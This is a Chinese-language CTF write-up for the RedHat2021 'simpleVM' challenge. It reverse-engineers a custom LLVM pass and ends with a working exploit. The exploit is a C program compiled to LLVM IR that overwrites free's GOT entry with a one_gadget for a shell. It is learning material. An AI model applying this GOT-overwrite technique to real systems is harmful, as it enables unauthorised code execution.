RedHat2021-simpleVM
题目分析
找runonfunction
start函数调用sub_6510,跟进
调用sub_6690,跟进
调用sub_6720,跟进
找到 off_20DD20,跟进
成功定位sub_6830。
sub_6830
getName后比较函数名是否是o0o0o0o0,是的话就进入sub_6AC0函数,否则直接退出,所以o0o0o0o0就是主函数。
sub_6AC0
这里begin和end是对基本块的迭代,对于没一个基本块,都执行sub_6B80函数。
sub_6B80
首先用begin和end遍历基本块,然后getopcode获取操作码,这里的55对应的是call指令,在llvm/IR/Instruction.def这个文件里,所以在主函数里只能写函数调用。接着将函数名放入s1中,用于下边的比较判断。
pop
getNumOperands函数是User 类的一个成员函数,它用于获取一个指令或表达式中操作数的数量。这里一般函数调用指令的第一个操作数是函数指针或者函数名称,因此这里判断是否为2,实则我们只用传一个操作数即可。函数实现的功能也类似一个pop出栈操作。
push
跟pop代码大差不差,实现一个push操作。
store
这里将一个寄存器里的值当作另一个寄存器指定的地址的地址,也就是将任意地址写入一个值。
load
这跟store操作正好相反,将寄存器存储的地址处的值给另一个寄存器。
add
指定一个寄存器并加上一个数值。
min
指定一个寄存器减去一个数值。在最后执行free操作,因此,我们可以通过上述函数来修改free函数的got表。
漏洞利用
修改free的got表为gadget即可。
got表可写。
在opt里找到free函数的偏移为0x77E100。
onegadget
找到free函数的偏移
这里我尝试前两个gadget的偏移,即用min去减,但是都打不通。用最后一个gadget,用add加偏移通了。
exp
void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg, int val){};
void min(int reg, int val){};
void o0o0o0o0(){
add(1, 0x77E100);
load(1);
add(2,0x729ec);
store(1);
}
执行
clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll